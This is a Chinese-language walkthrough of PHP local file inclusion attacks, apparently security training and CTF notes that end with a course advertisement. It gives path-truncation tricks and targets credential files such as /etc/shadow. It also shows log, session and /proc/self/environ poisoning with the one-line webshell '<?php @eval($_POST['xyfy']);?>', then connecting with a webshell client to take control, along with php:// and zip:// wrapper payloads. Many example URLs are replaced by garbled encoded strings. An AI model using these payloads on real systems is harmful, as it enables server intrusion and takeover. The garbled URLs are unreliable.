文件包含漏洞解题思路：
1、观察提示，是否为系统文件，如win.ini在windows系统的c:/windows/win.ini中，boot.ini在windows系统的c:/boot.ini中
linux里有：/etc/shadow /etc/passwd
2、带入文件，如果有后缀被自动加上，如果报错，尝试加入%00进行截断，如果报错，尝试加入绝对路径，比如c:/windows/win.ini%00,如果报错，尝试使用.....达到256个字符进行截断，尝试加入../,可以多加几个，因为在有的包含中代码中会加上一个路径前缀，所以我们必须通过../来规避这个前缀，一般3-5个左右，一般就是%00截断、.....256字符截断、绝对路径、相对路径等挨个尝试；
注意：
在Windows系统下，某些PHP版本的文件系统模块对于文件名后面所跟的“.”或者“./”或者“\”或者“/”或者“.”都会自动过滤而正常读写文件，或者通过增加%00进行截断，如Filename%00.php：
Filename///...(252个/)…/.php
Filename\...(252个)….php
Filename./././...(126个./)…./.php
Filename......(126个)…..php
Filename……(252个.)…..…...php
在Linux系统下，某些PHP版本的文件系统模块对于文件名后面所跟的“/.”或者“/”都会自动过滤而正常读写文件。据此可构造恶意的文件路径，又因为Linux下文件路径最大长度为4096，因此只需构造如下字符串即可路径截断：
Filename///...(4090个/)…/.php
Filename/././....(2045个/.)…/..php
3、apache的日志包含，
1）首先通过post或者get访问Apache服务器
a85K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0x3I4i4K6u0W2x3e0c8Q4x3V1k6V1k6h3#2G2x3g2)9J5k6i4m8Z5M7q4)9K6c8X3&6S2L8h3g2Q4x3@1c8Q4x3U0k6D9N6q4)9K6b7W2)9K6c8Y4m8Z5M7l9`.`. @eval($_POST['xyfy']);?>
2）通过burpsuite进行抓包，抓到包之后把包里被URLencode的替换掉，日志文件里包含一句话木马
3）文件包含Apache日志文件
f98K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0x3I4i4K6u0W2x3e0c8Q4x3V1k6V1k6h3#2G2x3g2)9J5k6i4m8Z5M7q4)9K6c8X3&6S2L8h3g2Q4x3@1c8p5i4K6y4m8i4K6g2o6M7$3!0X3N6s2N6S2M7X3g2Q4y4f1y4%4j5h3#2H3i4K6g2o6L8r3!0Y4M7#2)9#2b7$3q4U0j5$3g2K6M7#2)9J5k6h3I4G2k6H3`.`.
4）使用菜刀链接，获得控制权
4、linux的proc/self/fd包含，适合于linux平台，并且文件系统不知道log日志放在什么位置,
如果纯粹把日志文件包含进来，就可以直接包含/proc/self/fd/0,进行挨个测试
如果要进行挂码
1）首先通过post或者get访问Apache服务器
95eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0x3I4i4K6u0W2x3e0c8Q4x3V1k6V1k6h3#2G2x3g2)9J5k6i4m8Z5M7q4)9K6c8X3&6S2L8h3g2Q4x3@1c8Q4x3U0k6D9N6q4)9K6b7W2)9K6c8Y4m8Z5M7l9`.`. @eval($_POST['xyfy']);?>
2）通过burpsuite进行抓包，抓到包之后把包里被URLencode的替换掉，日志文件里包含一句话木马
3）文件包含Apache日志文件
bf0K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0x3I4i4K6u0W2x3e0c8Q4x3V1k6V1k6h3#2G2x3g2)9J5k6i4m8Z5M7q4)9K6c8X3&6S2L8h3g2Q4x3@1c8H3M7X3!0U0i4K6u0r3M7$3g2D9k6W2)9J5c8X3k6V1i4K6u0r3x3l9`.`.
4）使用菜刀链接，获得控制权
5、php伪协议包含
file协议（必须知道文件的绝对路径）：
c59K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1^5i4K6u0W2x3U0p5K6i4K6u0W2x3e0f1K6i4K6u0W2x3e0c8Q4x3@1p5I4x3o6l9%4i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2H3K9s2m8Q4x3@1k6X3K9h3I4W2i4K6y4p5k6X3W2D9k6g2)9K6b7g2)9J5c8W2)9J5c8X3y4Q4x3@1q4Q4x3V1k6%4K9h3&6V1L8%4N6K6i4K6u0r3N6$3W2F1i4K6u0W2K9h3&6A6
filter协议（可以是绝对路径，也可以是相对路径）：
248K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1^5i4K6u0W2x3U0p5K6i4K6u0W2x3e0f1K6i4K6u0W2x3e0c8Q4x3@1p5I4x3o6l9%4i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2H3K9s2m8Q4x3@1k6X3K9h3I4W2i4K6y4p5M7r3S2H3i4K6y4m8i4K6u0r3i4K6u0r3k6X3W2D9N6r3g2J5i4K6u0r3M7X3g2S2k6q4)9K6c8q4)9J5c8Y4u0W2M7$3!0#2M7X3y4W2i4K6y4p5j5#2)9K6b7g2)9J5c8X3u0G2L8%4c8Q4x3X3g2A6L8X3V1`.
5eeK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1^5i4K6u0W2x3U0p5K6i4K6u0W2x3e0f1K6i4K6u0W2x3e0c8Q4x3@1p5I4x3o6l9%4i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2H3K9s2m8Q4x3@1k6X3K9h3I4W2i4K6y4p5M7r3S2H3i4K6y4m8i4K6u0r3i4K6u0r3k6X3W2D9N6r3g2J5i4K6u0r3M7X3g2S2k6q4)9K6c8q4)9J5c8Y4u0W2M7$3!0#2M7X3y4W2i4K6y4p5N6r3g2K6N6q4)9J5k6i4m8Z5M7l9`.`.
使用base64编码：
比如index1.php文件包含的是代码，希望获得代码内容，可以进行base64加密，之后取得数据之后进行解密
912K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1^5i4K6u0W2x3U0p5K6i4K6u0W2x3e0f1K6i4K6u0W2x3e0c8Q4x3@1p5I4x3o6l9%4i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2H3K9s2m8Q4x3@1k6X3K9h3I4W2i4K6y4p5M7r3S2H3i4K6y4m8i4K6u0r3i4K6u0r3k6X3W2D9N6r3g2J5i4K6u0r3M7X3g2S2k6q4)9K6c8r3y4G2L8Y4k6W2M7Y4c8Q4x3X3g2T1j5i4y4W2y4U0c8Q4x3X3c8W2L8X3y4G2k6r3g2Q4x3V1k6J5k6i4y4G2N6i4u0U0k6g2)9K6c8r3W2F1k6r3g2^5x3g2)9J5k6i4m8Z5M7l9`.`.
index1.php文件如果是经过base64加密之后的文件，读取出之后可以进行解密读
14cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1^5i4K6u0W2x3U0p5K6i4K6u0W2x3e0f1K6i4K6u0W2x3e0c8Q4x3@1p5I4x3o6l9%4i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2H3K9s2m8Q4x3@1k6X3K9h3I4W2i4K6y4p5M7r3S2H3i4K6y4m8i4K6u0r3i4K6u0r3k6X3W2D9N6r3g2J5i4K6u0r3M7X3g2S2k6q4)9K6c8r3y4G2L8Y4k6W2M7Y4c8Q4x3X3g2T1j5i4y4W2y4U0c8Q4x3X3c8V1k6h3y4G2k6r3g2Q4x3V1k6J5k6i4y4G2N6i4u0U0k6g2)9K6c8r3W2F1k6r3g2^5x3g2)9J5k6i4m8Z5M7l9`.`.
zip协议
注意：需要zip文件的绝对地址，后缀可以不是zip，但是文件内容必须是zip压缩格式，#需要进行转换成%23
835K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0x3I4i4K6u0W2x3e0c8Q4x3V1k6V1k6h3#2G2x3g2)9J5k6i4m8Z5M7q4)9K6c8X3&6S2L8h3g2Q4x3@1c8*7K9i4m8Q4x3@1q4Q4x3V1k6Q4x3V1k6p5i4K6y4m8i4K6g2o6M7$3!0X3N6s2N6S2M7X3g2Q4y4f1y4%4j5h3#2H3i4K6g2o6N6%4N6%4i4K6g2o6P5q4)9J5k6i4A6A6M7q4)9J5y4e0t1K6P5q4)9J5k6i4m8Z5M7l9`.`.

题目攻略：
1020,文件包含
此处就算带入了绝对路径，也有可能在后台被添加了路径，需要不断的上移路径光标
f50K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1^5i4K6u0W2x3U0p5K6i4K6u0W2x3e0f1K6i4K6u0W2x3e0c8Q4x3@1p5I4x3o6t1H3i4K6u0r3M7%4c8S2k6$3g2Q4x3V1j5I4x3g2)9J5c8Y4y4Z5L8%4N6Q4x3X3g2H3K9s2m8Q4x3@1k6X3K9h3I4W2i4K6y4p5i4K6u0W2i4K6u0W2i4K6u0r3i4K6u0W2i4K6u0W2i4K6u0r3i4K6u0W2i4K6u0W2i4K6u0r3i4K6u0W2i4K6u0W2i4K6u0r3j5X3!0G2N6q4)9J5k6h3W2F1K9g2)9J5y4e0l9H3
1020文件包含
888K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1^5i4K6u0W2x3U0p5K6i4K6u0W2x3e0f1K6i4K6u0W2x3e0c8Q4x3@1p5I4x3o6t1H3i4K6u0r3M7%4c8S2k6$3g2Q4x3V1j5I4x3W2)9J5c8Y4y4Z5L8%4N6Q4x3X3g2H3K9s2m8Q4x3@1k6X3K9h3I4W2i4K6y4p5i4K6u0W2i4K6u0W2i4K6u0r3i4K6u0W2i4K6u0W2i4K6u0r3i4K6u0W2i4K6u0W2i4K6u0r3i4K6u0W2i4K6u0W2i4K6u0r3k6i4c8U0i4K6u0r3M7$3S2S2k6r3!0%4
linux下两个文件：
88aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1^5i4K6u0W2x3U0p5K6i4K6u0W2x3e0f1K6i4K6u0W2x3e0c8Q4x3@1p5I4x3o6t1H3i4K6u0r3M7%4c8S2k6$3g2Q4x3V1j5I4x3W2)9J5c8Y4y4Z5L8%4N6Q4x3X3g2H3K9s2m8Q4x3@1k6X3K9h3I4W2i4K6y4p5i4K6u0W2i4K6u0W2i4K6u0r3i4K6u0W2i4K6u0W2i4K6u0r3i4K6u0W2i4K6u0W2i4K6u0r3i4K6u0W2i4K6u0W2i4K6u0r3k6i4c8U0i4K6u0r3M7$3S2S2k6r3!0%4
1000第五题
9d1K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1^5i4K6u0W2x3U0p5K6i4K6u0W2x3e0f1K6i4K6u0W2x3e0c8Q4x3@1p5I4x3o6l9H3i4K6u0r3M7%4c8S2k6$3g2Q4x3V1j5#2i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2H3K9s2m8Q4x3@1k6X3K9h3I4W2i4K6y4p5j5#2)9K6b7g2)9J5c8Y4N6A6L8X3c8G2N6%4y4Q4x3V1k6%4K9h3&6Q4x3X3g2A6L8X3W2Q4x3X3g2Q4x3X3g2Q4x3X3g2Q4x3X3g2Q4x3X3g2Q4x3X3g2Q4c8e0k6Q4b7U0N6Q4b7V1u0Q4c8e0g2Q4z5p5q4Q4b7e0m8Q4c8e0g2Q4z5o6S2Q4b7U0l9J5y4e0j5`.
1000第六题
643K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1^5i4K6u0W2x3U0p5K6i4K6u0W2x3e0f1K6i4K6u0W2x3e0c8Q4x3@1p5I4x3o6l9H3i4K6u0r3M7%4c8S2k6$3g2Q4x3V1j5$3i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2H3K9s2m8Q4x3@1k6X3K9h3I4W2i4K6y4p5M7s2u0G2j5#2)9J5c8Y4y4W2L8r3k6Q4x3V1k6X3k6q4)9J5c8U0M7`.
1010第十题
021K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1^5i4K6u0W2x3U0p5K6i4K6u0W2x3e0f1K6i4K6u0W2x3e0c8Q4x3@1p5I4x3o6p5H3i4K6u0r3M7%4q4D9P5X3S2#2M7Y4g2Q4x3V1k6K6N6r3q4Y4k6g2)9J5c8U0p5H3i4K6u0r3M7$3S2G2N6#2)9J5k6i4m8Z5M7q4)9K6c8X3k6A6L8r3g2Q4x3@1c8Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6W2N6r3y4Q4x3V1k6K6K9r3q4V1L8%4M7`.
1010第十一题
da8K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1^5i4K6u0W2x3U0p5K6i4K6u0W2x3e0f1K6i4K6u0W2x3e0c8Q4x3@1p5I4x3o6p5H3i4K6u0r3M7%4q4D9P5X3S2#2M7Y4g2Q4x3V1k6K6N6r3q4Y4k6g2)9J5c8U0p5I4i4K6u0r3M7$3S2G2N6#2)9J5k6i4m8Z5M7q4)9K6c8X3&6S2L8h3g2Q4x3@1c8T1L8$3!0@1i4K6u0W2K9h3&6A6i4K6t1#2x3o6m8Q4x3U0k6S2L8i4m8Q4x3@1u0H3j5i4c8Z5i4K6y4p5N6r3g2K6N6q4)9J5c8W2)9J5k6g2)9J5k6g2)9J5c8W2)9J5k6g2)9J5k6g2)9J5c8W2)9J5k6g2)9J5k6g2)9J5c8W2)9J5k6g2)9J5k6g2)9J5c8R3`.`.

windows文件名最大256字符
xx.php..................................................................................
文件截断
php以0x00作为结束标志位
xx.php%00
1、如果是windows系统
文件名最大可以是256位，如果超过256将会被截断，所以可以通过添加256个.....进行截断
另一种截断方式是通过添加%00进行截断
例如：c:/windows/win.ini............

2、如果是Linux系统
在Linux系统下，某些PHP版本的文件系统模块对于文件名后面所跟的“/.”或者“/”都会自动过滤而正常读写文件。据此可构造恶意的文件路径，又因为Linux下文件路径最大长度为4096，因此只需构造如下字符串即可路径截断：
Filename///...(4090个/)…/.php
Filename/././....(2045个/.)…/..php
也就是说在文件后面加上4096个/或者2045个/.就会把文件后面的拼接值给截断
3、针对web服务器日志的攻击方法
Apache的日志默认存储在安装目录下的logs文件夹下，主要有访问日志和错误日志。在Windows下这两个日志文件为access.log和error.log，Linux下是access_log和error_log。
首先构造访问记录：
5e5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0q4Q4x3X3f1J5y4o6y4Q4x3V1k6D9k6i4y4K6K9h3!0F1i4K6u0r3K9h3&6U0L8s2g2V1k6g2)9J5c8X3W2F1k6r3g2^5i4K6u0W2M7r3S2H3i4K6y4r3k6X3W2D9k6g2)9K6c8q4)9J5y4X3I4@1i4K6y4n7i4K6y4r3M7r3S2H3 phpinfo();?>
即可在访问日志中生成一条记录：192.168.1.247 - - [21/Feb/2017:14:34:32 +0800]"GET/lession/include/index.php?file=%3C?php%20phpinfo();?%3E HTTP/1.1" 200 2092这条日志中“file =%3C?php%20phpinfo();?%3E”这段代码对应的是URL中的“id=<?php phpinfo();?>”，可见字符’<’，’’和’>’分别被URL编码 为’%3C’，’%20’和’%3E’。因此我们需要绕过URL编码将正确的PHP代码写入日志中。
通过burp进行抓包，把URL编码给转换。
<?php @eval($_POST['xyfy']);?>
之后用文件包含把日志文件包含到当前文件中，此处需要注意的是：
linux系统下Apache的日志文件默认在
在基于Debian的Linux上，系统范围的Apache错误日志默认位置是/var/log/apache2/error.log。默认位置可以通过编辑Apache的配置文件进行修改。
在基于 Red Hat 的Linux中，系统范围的 Apache 错误日志文件默认被放置在/var/log/httpd/error_log。该默认位置可以通过修改 Apache 配置文件进行自定义。
windows是自定义的了，默认在安装目录下的logs文件夹下，但是安装目录需要找：
C://Program Files/phpStudy/Apache2/logs/access.log
4、linux针对/proc/self/environ的攻击方法
攻击原理：
/proc/self/environ是Linux系统下的环境变量文件，用于保存系统的一些变量。访问者可通过修改浏览器的User Agent信息插入自己的内容到该文件，利用这一特性将php代码写入/proc/self/environ文件中，然后在有LFI漏洞的注入点中写入该文件的正确路径及文件名，而后结合php的路径截断特性来进行文件包含漏洞利。
限制条件：
1、平台限制：只能应用于Linux系统下
2、访问者（HTTP服务器的启动用户）需要具有对/proc/self/environ文件具有读写权限
linux下的日志文件链接：
root@qit:/proc/self/fd# cd /proc/self/fd
root@qit:/proc/self/fd# ls -la
总用量 0
dr-x------ 2 root root 0 6月 22 13:25 .
dr-xr-xr-x 9 root root 0 6月 22 13:25 ..
lrwx------ 1 root root 64 6月 22 13:25 0 -> /dev/pts/0
lrwx------ 1 root root 64 6月 22 13:25 1 -> /dev/pts/0
lrwx------ 1 root root 64 6月 22 13:25 2 -> /dev/pts/0
lrwx------ 1 root root 64 6月 22 13:39 255 -> /dev/pts/0
root@qit:/proc/self/fd#
攻击步骤：
包含文件：d89K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1^5i4K6u0W2x3U0p5K6i4K6u0W2x3e0f1K6i4K6u0W2x3e0c8Q4x3@1p5I4x3o6l9H3i4K6u0r3M7%4c8S2k6$3g2Q4x3V1j5$3i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2H3K9s2m8Q4x3@1k6X3K9h3I4W2i4K6y4p5i4K6u0r3M7s2u0G2j5#2)9J5c8Y4y4W2L8r3k6Q4x3V1k6X3k6q4)9J5c8U0l9`.
如果0-7都没有，尝试使用burp进行攻击
5、针对session的包含
首先通过burp抓包，写入一句话木马，主要在user-agent最后加入
6、php伪协议
file协议（必须知道文件的绝对路径）：
97aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1^5i4K6u0W2x3U0p5K6i4K6u0W2x3e0f1K6i4K6u0W2x3e0c8Q4x3@1p5I4x3o6l9%4i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2H3K9s2m8Q4x3@1k6X3K9h3I4W2i4K6y4p5k6X3W2D9k6g2)9K6b7g2)9J5c8W2)9J5c8X3y4Q4x3@1q4Q4x3V1k6%4K9h3&6V1L8%4N6K6i4K6u0r3N6$3W2F1i4K6u0W2K9h3&6A6
filter协议（可以是绝对路径，也可以是相对路径）：
75fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1^5i4K6u0W2x3U0p5K6i4K6u0W2x3e0f1K6i4K6u0W2x3e0c8Q4x3@1p5I4x3o6l9%4i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2H3K9s2m8Q4x3@1k6X3K9h3I4W2i4K6y4p5M7r3S2H3i4K6y4m8i4K6u0r3i4K6u0r3k6X3W2D9N6r3g2J5i4K6u0r3M7X3g2S2k6q4)9K6c8q4)9J5c8Y4u0W2M7$3!0#2M7X3y4W2i4K6y4p5j5#2)9K6b7g2)9J5c8X3u0G2L8%4c8Q4x3X3g2A6L8X3V1`.
8a6K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1^5i4K6u0W2x3U0p5K6i4K6u0W2x3e0f1K6i4K6u0W2x3e0c8Q4x3@1p5I4x3o6l9%4i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2H3K9s2m8Q4x3@1k6X3K9h3I4W2i4K6y4p5M7r3S2H3i4K6y4m8i4K6u0r3i4K6u0r3k6X3W2D9N6r3g2J5i4K6u0r3M7X3g2S2k6q4)9K6c8q4)9J5c8Y4u0W2M7$3!0#2M7X3y4W2i4K6y4p5N6r3g2K6N6q4)9J5k6i4m8Z5M7l9`.`.
使用base64编码：
e92K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1^5i4K6u0W2x3U0p5K6i4K6u0W2x3e0f1K6i4K6u0W2x3e0c8Q4x3@1p5I4x3o6l9%4i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2H3K9s2m8Q4x3@1k6X3K9h3I4W2i4K6y4p5M7r3S2H3i4K6y4m8i4K6u0r3i4K6u0r3k6X3W2D9N6r3g2J5i4K6u0r3M7X3g2S2k6q4)9K6c8r3y4G2L8Y4k6W2M7Y4c8Q4x3X3g2T1j5i4y4W2y4U0c8Q4x3X3c8W2L8X3y4G2k6r3g2Q4x3V1k6J5k6i4y4G2N6i4u0U0k6g2)9K6c8r3W2F1k6r3g2^5x3g2)9J5k6i4m8Z5M7l9`.`.
zip协议
7、XXE文件上传漏洞利用

[培训]科锐逆向工程师培训第53期2025年7月8日开班！